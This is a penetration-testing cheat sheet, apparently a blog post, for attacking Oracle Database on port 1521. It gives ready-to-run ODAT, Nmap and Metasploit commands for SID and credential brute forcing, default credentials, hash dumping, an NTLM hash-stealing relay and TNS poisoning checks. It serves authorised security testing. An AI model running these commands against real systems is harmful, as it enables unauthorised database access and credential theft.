Pentesting Oracle Database

Port 1521 Oracle Database
Oracle Database is commonly found in enterprise environments and listens on TCP port 1521. The TNS listener handles incoming connections, and once you have the right SID and credentials, a whole range of options open up, from SQL shells to hash dumps and even NTLM relays. The exploitation process can be a bit more tedious than other services, but misconfigurations and defaults are common, especially in legacy systems.

Discovery and Enumeration

Start by identifying valid SIDs, as without one, you’re not going anywhere in pentesting Oracle database. ODAT and Nmap can help you brute force common ones.

You can use ODAT (Oracle Database Attacking Tool), an open-source penetration testing tool that tests the security of Oracle Databases remotely.

sudo odat sidguesser -s 10.1.1.1                     #SID bruteforce with ODAT
sudo odat all -s 10.1.1.1 -p 1521 -d CLREXTPROC      #Run all modules on known SID
sudo odat all -s 10.1.1.1 -p 1521 -d XE              #Another ODAT scan
sudo odat all -s 10.1.1.1-p 1521 -d PLSExtProc       #Target common SID

#Manually try E1LOCAL or add it to ODAT's wordlist

The Metasploit framework has a SID brute force module:

use auxiliary/admin/oracle/sid_brute
set RHOST 10.1.1.1
run

You can also use Nmap to attempt to brute force and discover valid SIDs:

sudo nmap --script=oracle-sid-brute -p 1521-1560 10.1.1.1        #Nmap Oracle SID bruteforce

 

Common SIDs

These are common across many Oracle environments. If you can’t find any valid ones, start with these:

E1LOCAL       #JD Edwards default SID
CLREXTPROC    #Common in Oracle installs
XE            #Oracle Express Edition
PLSExtProc    #Seen in many setups
PROD          #Production environment

Brute Forcing Credentials

Once you have a valid SID, try default credentials or perform a login brute force. You can use Metasploit:

#Metasploit - Oracle login bruteforce
use auxiliary/admin/oracle/oracle_login
set RHOST 172.18.1.21
set SID CLREXTPROC
run

#Try with another common SID
set SID PLSExtProc
run

You can also try credentials found in ODAT’s wordlist:

#JDE/JDE is a common default for JD Edwards
#Found in: /usr/share/odat/accounts

SQLPlus Connection

If you discover working credentials, connect with SQLplus for direct database interaction. This is useful for manual querying or confirming access.

sqlplus "JDE/JDE@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=10.1.1.1)(Port=1521))(CONNECT_DATA=(SID=E1LOCAL)))"        #JD Edwards
sqlplus "JDE/JDE@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=10.1.1.1)(Port=1521))(CONNECT_DATA=(SID=E1LOCAL)))"        #Common Oracle setup
sqlplus "ABM/ABM@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=10.1.1.1)(Port=1521))(CONNECT_DATA=(SID=PROD)))"           #PROD database example

Hash Dump

Once authenticated, try dumping password hashes with Metasploit for lateral movement or cracking offline.

use auxiliary/scanner/oracle/oracle_hashdump
set RHOST 10.1.1.1
set SID E1LOCAL
run

SMB Relay via Oracle

If the target Oracle Database can reach your SMB server, you may be able to grab NTLM hashes via a forced authentication request using Metasploit.

use auxiliary/admin/oracle/ora_ntlm_stealer
set RHOST 10.1.1.1
run

TNS Poisoning

Older Oracle versions may be vulnerable to TNS poisoning, allowing man-in-the-middle attacks. You can use Wireshark and the https://github.com/interference-security/oracle-tns-poison tool.

tshark -i eth0 -f 'host 10.1.1.1 and tcp port 1521'                                       #Sniff traffic to Oracle
sudo python2 ~/PentestTools/oracle-tns-poison/check_tns_poison.py 10.1.1.1 1521           #Check for TNS poisoning vuln